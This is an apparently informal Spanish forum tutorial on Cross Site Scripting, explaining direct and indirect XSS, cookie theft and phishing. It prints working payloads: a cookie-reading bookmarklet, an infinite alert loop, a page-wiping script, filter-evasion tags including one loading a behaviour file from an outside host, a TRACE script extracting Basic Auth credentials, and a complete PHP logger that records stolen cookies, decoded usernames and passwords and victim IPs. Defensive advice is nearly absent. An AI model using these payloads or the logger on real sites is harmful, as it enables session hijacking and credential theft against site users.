XSS es un ataque basado en la explotación de vulnerabilidades del sistema de validación de HTML incrustado. Su nombre, del ingles "Cross Site Scripting", y renombrado XSS para que no sea confundido con las hojas de estilo en cascada (CSS), originalmente abarcaba cualquier ataque que permitiera ejecutar código de "scripting", como VBScript o javascript, en el contexto de otro dominio. Recientemente se acostumbra a llamar a los ataques de XSS "HTML Injection", sin embargo el termino correcto es XSS. Estos errores se pueden encontrar en cualquier aplicación HTML, no se limita a sitios web, ya que puede haber aplicaciones locales vulnerables a XSS, o incluso el navegador en si. El problema esta en que normalmente no se validan correctamente los datos de entrada que son usados en cierta aplicación. Esta vulnerabilidad puede estar presente de forma directa (foros, mensajes de error, comentarios) o indirecta (redirecciones, framesets). Cada una se trata de forma diferente.
DirectaEste tipo de XSS es el que normalmente es censurado; así que es muy poco común que puedas usar tags como <script> o <iframe>
Indirecta: Esta es un tipo de vulnerabilidad, muy común y muy poco explotada. Consiste en modificar valores que la aplicación web utiliza para pasar variables entre dos páginas, sin usar sesiones.
IndirectaSucede cuando hay un mensaje o una ruta en la URL del navegador o en una cookie. Para saber el contenido de una cookie, sin usar ningún tipo de iecv o addin para tu navegador, puedes usar el siguiente script de jasildbg. Sólo colócalo en la barra de direcciones, y presiona Enter.
javascript:for(var g in document.cookie.split(';'))void(prompt("Valor de cookie "+document.cookie.split(';')[g].split('=')[0],document.cookie.split(';')[g].split('=')[1]));alert("Cookies:\n"+document.cookie.replace(/;/,"\r\n"));
Una vez dentro se puede modificar la cookie a tu antojo. Si pones cancelar la cookie se borrará.
¿Qué podemos ver con este ejemplo? Que podemos meter comandos javascript solo modificando una URL.
Usando FrameSetsRegresemos al ejemplo del frameset, que según la página que coloques te crea un frame a esa página. ¿Qué pasara si pones en esa URL?
javascript:while(1)alert("Te estoy inundando de mensajes!");
Y el enlace lo pone un intruso hacia un foro. Un navegador incauto, va a verlo y dirá, bueno, es del mismo dominio, no puede ser nada malo.. y de resultado tendrá un loop infinito.
Se trata de colocar un script que tome tu cookie, y mande un mp al administrador, o incluso, que borre todos los mensajes de un foro.
El robo de cookies es lo más básico, y tiene como objetivo robar la cookie. ¿Y eso de qué sirve? Tengo el PHPSESSID, y si el usuario cierra sesión no sirve de nada.
Cierto, pero con el uso de la librería cURL un usuario malintencionado, podría al recibir tu cookie, entrar a la página, y dejarla en caché, para que el atacante cuando quiera, pueda entrar como tú, sin siquiera necesitar tu contraseña.
Otro uso común para estas vulnerabilidades es lograr hacer phishing; o colocar un exploit.
Quiere ello decir que tú ves la barra de direcciones, y ves que estás en una página, pero realmente estás en otra. Introduces tu contraseña y la fastidiaste.
Lo peor son los sitios de descarga, que colocan en la misma URL el sitio de objetivo. Esas páginas web son vulnerables a ataques XSS indirectos. O sea que un intruso puede colocar una imagen con enlace al sitio malicioso, y se ejecuta, sin que el usuario lo sepa, caso Megabyte que se valio de usuarios incautos.
Mensaje personalizadoLa técnica sólo funciona con imágenes:
error.php?error=Usuario%20Invalido
Esa página es vulnerable a XSS indirecto.
Un <script> que cree otra sesión bajo otro usuario y tu sesión actual la mande al atacante (lo explicado de cURL más arriba), puede causar estragos.
Este código (muy peligroso) borra todo el contenido de la página en cuestión, y escribe otra cosa:
<script>
document.documentElement.innerHTML="NADA";
</script>
DirectaFunciona localizando puntos débiles en la programación de los filtros. Así que si, por ejemplo, logran quitar los <iframe>, <script>, el atacante siempre puede poner un <div> malicioso, o incluso un <u> o <s>. Tags que casi siempre están permitidos.
Ejemplos de Scripts donde no son comunes de encontrar<BR SIZE="&{alert('XSS')}">
<FK STYLE="behavior: url(http://laplaga.com.ar/xss.htc);">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
Usar estilos es increíblemente fácil, y lo malo es que muchos filtros son vulnerables. Se puede crear un DIV con background-image: url(javascript:eval(this.fu)) como estilo y añadir al DIV un campo llamado fu que contenga el código a ejecutar, como por ejemplo alert('Hola'):
<div fu="alert('Hola');" STYLE="background-image: url(javascript:eval(this.fu))">
AjaxNo hablo del colaborador de UnderLatino.org...este es un tipo de XSS no tan conocido, pero peligroso. Se basa en usar cualquier tipo de vulnerabilidad para introducir un objeto XMLHTTP y usarlo para enviar contenido POST, GET, sin conocimiento del usuario.
El siguiente script de ejemplo obtiene el valor de las cabeceras de autenticación de un sistema basado en Autenticación Básica (Basic Auth). Sólo falta decodificarlo, pero es más fácil mandarlo codificado al registro de contraseñas. La codificación es base64.
Script para obtener credenciales en tipo BASICEsta tecnica también es llamada XST Cross Site Tracing XST
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
// para firefox, es: var xmlhttp = new XMLHttpRequest();
xmlhttp.open("TRACE","./",false);
xmlhttp.send(null);
str1=xmlhttp.responseText;
splitString = str1.split("Authorization: Basic ");
str2=splitString[1];
str3=str2.match(/.*/)[0];
alert(str3);
Por cuestiones de seguridad.. Firefox y IExplorer 6.2+ no permiten usar el metodo TRACE.
log.php para registrar cookies<?php
$archivo = fopen('log2.htm','a');
$cookie = $_GET['c'];
$usuario = $_GET['id'];
$ip = getenv ('REMOTE_ADDR');
$re = $HTTPREFERRER;
$fecha=date("j F, Y, g:i a");
fwrite($archivo, '<hr>USUARIO Y PASSWORD: '.htmlentities(base64_decode($usuario)));
fwrite($archivo, '<br>Cookie: '.htmlentities($cookie).'<br>Pagina: '.htmlentities($re));
fwrite($archivo, '<br> IP: ' .$ip. '<br> Fecha y Hora: ' .$fecha. '</hr>');
fclose($archivo);
?>
Quiero creer que esto no se va a usar con fines maliciosos, chicos, solo quiero explicar la forma en que ESTA WEB fue "desdominada", porque lo digo asi?...Porque NO FUE DEFACEADA, solo le cambiaron los DNS al dominio. Saludos.